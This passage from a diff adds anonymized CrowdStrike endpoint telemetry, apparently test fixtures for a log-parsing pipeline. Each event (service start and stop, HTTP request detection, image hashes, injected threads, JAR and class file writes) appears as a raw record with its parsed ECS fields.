+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d",
+                "name": "10e85fd7df0a53c38814f5"
+            },
+            "device": {
+                "id": "22924ad875ce834067bd29857dc11a92"
+            },
+            "event": {
+                "action": "HostedServiceStarted",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "c7017a5199f1e88eb4a44227da2d1a7c8b0d|22924ad875ce834067bd29857dc11a92|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"d1c8f153a6a851a17b18fe88f1dbdc9254bf\",\"RpcClientProcessId\":\"9757071607353\",\"id\":\"c7017a5199f1e88eb4a44227da2d1a7c8b0d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"HostedServiceStarted\",\"TargetThreadId\":\"482081070860200\",\"ContextTimeStamp\":\"1753416061.221\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"3440491101\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"415000840610900\",\"AuthenticationId\":\"903030080\",\"ServiceDisplayName\":\"8a7cb45\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"6009006000008\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\8a7cb45.dll\",\"RpcOpNum\":\"60\",\"Entitlements\":\"76\",\"name\":\"10e85fd7df0a53c38814f5\",\"aid\":\"22924ad875ce834067bd29857dc11a92\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "22924ad875ce834067bd29857dc11a92",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "HostedServiceStarted",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "22924ad875ce834067bd29857dc11a92",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "6009006000008",
+                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll",
+                "name": "8a7cb45.dll",
+                "title": "8a7cb45"
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "f3c32fdf5aef1041"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "f3c32fdf5aef1041"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3440491101",
+                "ContextTimeStamp": "2025-09-18T01:35:57.606Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "TargetThreadId": "51930000290120",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "db2dfa574e4ca1c775249f4fae390c93c57f",
+                "name": "c503d72ad653c0dc87f730"
+            },
+            "device": {
+                "id": "0400bce96c16b71f27978572adb3d4fd"
+            },
+            "event": {
+                "action": "HostedServiceStopped",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "db2dfa574e4ca1c775249f4fae390c93c57f|0400bce96c16b71f27978572adb3d4fd|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"HostedServiceStopped\",\"TargetThreadId\":\"51930000290120\",\"ContextTimeStamp\":\"1758159357.606\",\"ConfigStateHash\":\"3440491101\",\"aip\":\"89.160.20.112\",\"ServiceDisplayName\":\"61b6fb\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"2762512126120\",\"Entitlements\":\"66\",\"name\":\"c503d72ad653c0dc87f730\",\"EventOrigin\":\"1\",\"id\":\"db2dfa574e4ca1c775249f4fae390c93c57f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"0400bce96c16b71f27978572adb3d4fd\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "0400bce96c16b71f27978572adb3d4fd",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "HostedServiceStopped",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "0400bce96c16b71f27978572adb3d4fd",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2762512126120",
+                "title": "61b6fb"
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "9382309105",
+                "ContextProcessId": "4064545006008",
+                "ContextTimeStamp": "2025-08-02T09:35:00.344Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "HttpInternalSource": "2",
+                "HttpMethod": "1",
+                "HttpRequestHeader": "94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b",
+                "HttpUrl": "08cf20/7773b6bd.com/394e821c.html",
+                "ParentCommandLine": "82\\ab7e5c1\\c39d646f.EXE",
+                "PatternId": "28450",
+                "TemplateInstanceId": "5008",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "5c80fd2a838414022b2f083219c6395b3c6a",
+                "name": "8d879a136063d7587c6"
+            },
+            "device": {
+                "id": "561ee5011fb41796a5d3d22ecc19d681"
+            },
+            "event": {
+                "action": "HttpRequestDetect",
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "5c80fd2a838414022b2f083219c6395b3c6a|561ee5011fb41796a5d3d22ecc19d681|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"TemplateInstanceId\":\"5008\",\"aip\":\"89.160.20.112\",\"HttpRequestHeader\":\"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b\",\"event_platform\":\"Win\",\"PatternId\":\"28450\",\"EventOrigin\":\"1\",\"id\":\"5c80fd2a838414022b2f083219c6395b3c6a\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\c39d646f.EXE\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"HttpInternalSource\":\"2\",\"event_simpleName\":\"HttpRequestDetect\",\"ContextTimeStamp\":\"1754127300.344\",\"UserName\":\"30d376\",\"ConfigStateHash\":\"9382309105\",\"ContextProcessId\":\"4064545006008\",\"HttpUrl\":\"08cf20/7773b6bd.com/394e821c.html\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\9134161b\\\\033b4ae8\\\\44cb\\\\440b7488\\\\0dc8e72.EXE\\\" /n \\\"C:\\\\6b0cc\\\\30d376\\\\c4deb08f\\\\23555a08\\\\4c840c73.docx\\\" /o \\\"\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\033b4ae8\\\\4813\\\\440b7488\\\\0dc8e72.EXE\",\"Entitlements\":\"36\",\"name\":\"8d879a136063d7587c6\",\"aid\":\"561ee5011fb41796a5d3d22ecc19d681\",\"HttpMethod\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "connection",
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "561ee5011fb41796a5d3d22ecc19d681",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "HttpRequestDetect",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "561ee5011fb41796a5d3d22ecc19d681",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE /n C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx /o \""
+                ],
+                "args_count": 1,
+                "command_line": "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"",
+                "entity_id": "4064545006008",
+                "executable": "\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE",
+                "name": "0dc8e72.EXE"
+            },
+            "related": {
+                "hash": [
+                    "9382309105"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "30d376"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "30d376"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
+                "ConfigStateHash": "5900030004",
+                "ContextProcessId": "10705000160",
+                "ContextTimeStamp": "2025-07-10T03:25:43.580Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "ImageFileName": "\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe",
+                "MappedFromUserMode": "1",
+                "ModuleCharacteristics": "86",
+                "ModuleSize": "40360682",
+                "OriginalEventTimeStamp": "1749976122.404",
+                "PrimaryModule": "1",
+                "SignInfoFlags": "1754009",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f5638ae317f9e090033436354c7cf5d36549",
+                "name": "dccbe56e7b3"
+            },
+            "device": {
+                "id": "64cded9cf5ef1c609147019ee3184217"
+            },
+            "dll": {
+                "Ext": {
+                    "size": 40360682
+                },
+                "hash": {
+                    "md5": "896a7b972e546354ae731504897bb216",
+                    "sha1": "9692067083780606753097782045800757094700",
+                    "sha256": "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9"
+                },
+                "name": "dad56584.exe"
+            },
+            "event": {
+                "action": "ImageHash",
+                "category": [
+                    "library"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f5638ae317f9e090033436354c7cf5d36549|64cded9cf5ef1c609147019ee3184217|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ModuleCharacteristics\":\"86\",\"ContextThreadId\":\"137030102310\",\"aip\":\"81.2.69.144\",\"OriginalEventTimeStamp\":\"1749976122.404\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"EventOrigin\":\"1\",\"id\":\"f5638ae317f9e090033436354c7cf5d36549\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40360682\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ImageHash\",\"ContextTimeStamp\":\"1752117943.580\",\"ConfigStateHash\":\"5900030004\",\"ContextProcessId\":\"10705000160\",\"MD5HashData\":\"896a7b972e546354ae731504897bb216\",\"SHA256HashData\":\"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9\",\"ConfigBuild\":\"2c8b.4.1403a74.4f\",\"TargetProcessId\":\"10705000160\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\42955da6\\\\10b3abfd\\\\27b5ee41\\\\dad56584.exe\",\"Entitlements\":\"16\",\"name\":\"dccbe56e7b3\",\"PrimaryModule\":\"1\",\"aid\":\"64cded9cf5ef1c609147019ee3184217\",\"SignInfoFlags\":\"1754009\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "64cded9cf5ef1c609147019ee3184217",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ImageHash",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "64cded9cf5ef1c609147019ee3184217",
+                "version": "2c8b.4.1403a74.4f"
+            },
+            "process": {
+                "entity_id": "10705000160",
+                "thread": {
+                    "id": 137030102310
+                }
+            },
+            "related": {
+                "hash": [
+                    "896a7b972e546354ae731504897bb216",
+                    "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9",
+                    "9692067083780606753097782045800757094700",
+                    "5900030004"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "240271348",
+                "ContextProcessId": "3006607000981",
+                "ContextTimeStamp": "2025-06-10T02:00:56.920Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "InjectedThreadFlag": "430",
+                "RawThreadId": "5008",
+                "SourceThreadStartAddress": "984100382000810",
+                "TargetThreadId": "505479000700240",
+                "TargetThreadModule": "\\63dc8ea2\\1c329924.dll",
+                "ThreadStartAddress": "947500501770690",
+                "ThreadStartContext": "5177300087920",
+                "UserThread": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "5677e0f1c2f59a879c8c966e3f2583d1b374",
+                "name": "367b7572c21bead4"
+            },
+            "device": {
+                "id": "8fb3daf730de8e73c353f0c4137a51b5"
+            },
+            "event": {
+                "action": "InjectedThread",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "5677e0f1c2f59a879c8c966e3f2583d1b374|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"430\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"TargetThreadModule\":\"\\\\63dc8ea2\\\\1c329924.dll\",\"EventOrigin\":\"1\",\"id\":\"5677e0f1c2f59a879c8c966e3f2583d1b374\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"InjectedThread\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ContextTimeStamp\":\"1749520856.920\",\"ConfigStateHash\":\"240271348\",\"ContextProcessId\":\"3006607000981\",\"ThreadStartContext\":\"5177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"36\",\"name\":\"367b7572c21bead4\",\"RawThreadId\":\"5008\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"SourceThreadStartAddress\":\"984100382000810\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "8fb3daf730de8e73c353f0c4137a51b5",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "InjectedThread",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "8fb3daf730de8e73c353f0c4137a51b5",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3000303437040",
+                "pid": 7310,
+                "thread": {
+                    "id": 140004900194068
+                }
+            },
+            "related": {
+                "hash": [
+                    "240271348"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "90089570",
+                "ContextBaseFileName": "d3571e48e3804d61a8d8f51",
+                "ContextProcessId": "3097482600003",
+                "ContextTimeStamp": "2025-11-02T13:33:51.810Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileCategory": "1",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-96058-21257-98492",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "SHA256HashData": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "162ec74e6e37e7616a81feca0a38cbc4e060",
+                "name": "45bc1cac0e68ad976"
+            },
+            "device": {
+                "id": "e8709208d980534971098b9a6fb8cf05"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "162ec74e6e37e7616a81feca0a38cbc4e060|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-96058-21257-98492\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"1\",\"Size\":\"58518\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"id\":\"162ec74e6e37e7616a81feca0a38cbc4e060\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JarFileWritten\",\"ContextTimeStamp\":\"1762090431.810\",\"ConfigStateHash\":\"90089570\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"SHA256HashData\":\"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"45bc1cac0e68ad976\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\4fad1919.jar\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\7f136004\\03bd69ab",
+                "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951",
+                "extension": "jar",
+                "hash": {
+                    "sha256": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503"
+                },
+                "inode": "f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8",
+                "name": "4fad1919.jar",
+                "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar",
+                "size": 58518,
+                "type": "file"
+            },
+            "host": {
+                "id": "e8709208d980534971098b9a6fb8cf05",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "JarFileWritten",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "e8709208d980534971098b9a6fb8cf05",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3097482600003",
+                "name": "d3571e48e3804d61a8d8f51",
+                "thread": {
+                    "id": 60020000009454
+                }
+            },
+            "related": {
+                "hash": [
+                    "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503",
+                    "90089570"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "S-96058-21257-98492"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-96058-21257-98492"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "9006720370",
+                "ConfigStateHash": "3440491101",
+                "ContextBaseFileName": "939905f021b64c",
+                "ContextProcessId": "568260708421",
+                "ContextTimeStamp": "2025-06-20T15:55:17.905Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "FileCategory": "6",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-93967-95057-39657-2269-87803-54839-16636",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f1d9633f3c4c1752450748ee02e070b772d4",
+                "name": "f5ccfb1a5e748e3a1361b9"
+            },
+            "device": {
+                "id": "2a5a4e5c2a642c985c06f8a712f54c03"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f1d9633f3c4c1752450748ee02e070b772d4|2a5a4e5c2a642c985c06f8a712f54c03|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-93967-95057-39657-2269-87803-54839-16636\",\"ContextBaseFileName\":\"939905f021b64c\",\"FileCategory\":\"6\",\"Size\":\"5007\",\"MinorFunction\":\"0\",\"ContextThreadId\":\"67010543097020\",\"aip\":\"81.2.69.192\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f9187305c797616a091da12f20ae9d2efa91b48088627f5e\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"f1d9633f3c4c1752450748ee02e070b772d4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1750434917.905\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"568260708421\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"9006720370\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"f5ccfb1a5e748e3a1361b9\",\"OperationFlags\":\"0\",\"aid\":\"2a5a4e5c2a642c985c06f8a712f54c03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\77d9dc83\\\\6f9505f\\\\d6c5e3b\\\\d199e12\\\\bba61ca6\\\\2d931c68.class\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\b9e65ff8\\fb6901a4",
+                "directory": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6",
+                "extension": "class",
+                "inode": "f9187305c797616a091da12f20ae9d2efa91b48088627f5e",
+                "name": "2d931c68.class",
+                "path": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class",
+                "size": 5007,
+                "type": "file"
+            },
+            "host": {
+                "id": "2a5a4e5c2a642c985c06f8a712f54c03",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "JavaClassFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "2a5a4e5c2a642c985c06f8a712f54c03",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "568260708421",
+                "name": "939905f021b64c",
+                "thread": {
+                    "id": 67010543097020
+                }
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "user": [
+                    "S-93967-95057-39657-2269-87803-54839-16636"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-93967-95057-39657-2269-87803-54839-16636"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1080600092",
+                "ContextProcessId": "210000852854060",
+                "ContextTimeStamp": "2025-06-23T20:59:30.441Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "InjectedThreadFlag": "940",
+                "RawThreadId": "50455",
+                "SourceThreadStartAddress": "270106100035044",
+                "TargetThreadId": "8976303018009002",
+                "ThreadStartAddress": "7506925004555",
+                "ThreadStartBytes": "9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de",
+                "ThreadStartContext": "7031100880000",
+                "UserThread": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "5c016fbc5910db79ac911556c19d9efb88c6",
+                "name": "cad7121649b58818d895"
+            },
+            "device": {
+                "id": "2278e50b41a263c2d8421b5135a380a7"
+            },
+            "event": {
+                "action": "JavaInjectedThread",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "5c016fbc5910db79ac911556c19d9efb88c6|2278e50b41a263c2d8421b5135a380a7|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ThreadStartAddress\":\"7506925004555\",\"InjectedThreadFlag\":\"940\",\"ContextThreadId\":\"7029002010518039\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"5c016fbc5910db79ac911556c19d9efb88c6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaInjectedThread\",\"TargetThreadId\":\"8976303018009002\",\"RawProcessId\":\"60037\",\"ThreadStartBytes\":\"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de\",\"ContextTimeStamp\":\"1750712370.441\",\"ConfigStateHash\":\"1080600092\",\"ContextProcessId\":\"210000852854060\",\"ThreadStartContext\":\"7031100880000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"800000030087834\",\"Entitlements\":\"36\",\"name\":\"cad7121649b58818d895\",\"RawThreadId\":\"50455\",\"aid\":\"2278e50b41a263c2d8421b5135a380a7\",\"SourceThreadStartAddress\":\"270106100035044\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
